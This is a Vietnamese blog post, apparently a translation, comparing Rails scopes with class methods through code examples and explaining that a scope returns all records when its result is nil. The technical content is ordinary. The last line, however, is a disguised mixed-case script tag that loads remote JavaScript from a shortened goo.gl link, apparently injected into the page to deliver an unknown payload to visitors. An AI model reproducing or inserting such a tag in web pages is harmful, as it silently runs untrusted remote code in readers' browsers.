Điểm thú vị giữa rails scope và class method!

Rails scope và class method

1. Khái niệm

Đầu tiên chúng ta cùng xem lại document của scope:

Scoping allows you to specify commonly-used ARel queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as where, joins and includes. All scope methods will return an ActiveRecord::Relation object which will allow for further methods (such as other scopes) to be called on it.

Điều này có nghĩa là scope is chainable

Vậy còn class method?

Về mặt bản chất thì class method và rails scope là giống nhau. Cả hai đều được sử dụng để rút gọn câu query vào database. Kết quả trả về là các object.

2. Điểm khác nhau

Giả sử chúng ta định nghĩa một class User với 2 thuộc tính game_idsite_user_id

class User < ActiveRecord::Base
  scope :scope_game_id, ->game_id {where game_id: game_id}

  def self.class_method_game_id game_id
    where game_id: game_id
  end

end

Bây giờ chúng ta có 1 scope tên là scope_game_id và một class method tên là class_method_game_id với cùng một mục đích giống nhau là find user by game_id

Chúng ta cùng xem kết quả dưới đây.

2.PNG

3.PNG

Bây giờ chúng ta kiểm tra tính năng CHAINABLE của cả scope và class method

Scope:

4.PNG

Class method:

5.PNG

Class method trong cùng một điều kiện đã cho kết quả giống với rails scope!

Tiếp theo chúng ta sẽ kiểm tra với dữ liệu đầu vào là nil

6.PNG

Kết quả vẫn giống nhau!

Trường hợp dữ liệu đầu vào lỗi không đúng format

7.PNG

Trường hợp dữ liệu không tồn tại

8.PNG

Kết quả trả về giữ scope và class method vẫn giống nhau, ActiveRecord::Relation []

Vậy mục đích của scope khi được tạo ra là gì ?!?!

Mục đích là tạo ra một cách viết khác của scope method để trông code dễ nhìn hơn?

Chắc các nhà phát triển rails không rảnh rỗi thời gian đến thế!

Và chúng ta sẽ tìm ra nguyên nhân sau khi thực hiện bài test cuối cùng.

class User < ActiveRecord::Base
  scope :scope_game_id, ->game_id {where(game_id: game_id).first}

  def self.class_method_game_id game_id
    where(game_id: game_id).first
  end

end

Sự thay đổi ở đây là chúng ta đã thêm vào phương thức .first và dữ liệu đầu vào là không tồn tại.

Và đây là kết quả

9.PNG

Class method trả về kết quả là nil. Còn đối với scope?

10.PNG

Tại sao vẫn có kết quả trả về

Sau khi thực hiện câu query, scope sẽ tự động kiểm tra lại kết quả trả về, nếu kết quả là nil thì sẽ xảy ra hiện tượng có thêm 1 câu truy vấn.

SELECTusers.*FROMusers

Với việc như vậy thì kết quả trả về sẽ không nil

CHAINING sẽ không được tiếp tục nếu có broken chain Scope sẽ bảo đảm các broken chain không thể tồn tại bằng cách trả về toàn bộ các bản ghi khi kết quả tìm kiếm bằng nil, trong khi đo với class method thì không làm được điều này.

3. Tổng kết

Với việc trả về kết quả không nill, thì điều này đã làm cho scope là một tính năng thật sự hữu ích, và song song với đó chúng ta cũng cần phải thận trọng khi sử dụng nó.

Tài liệu được dịch và sửa chỉnh sửa từ:

http://kipalog.com/posts/Funny-things-about-Rails-scope-and-class-method

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>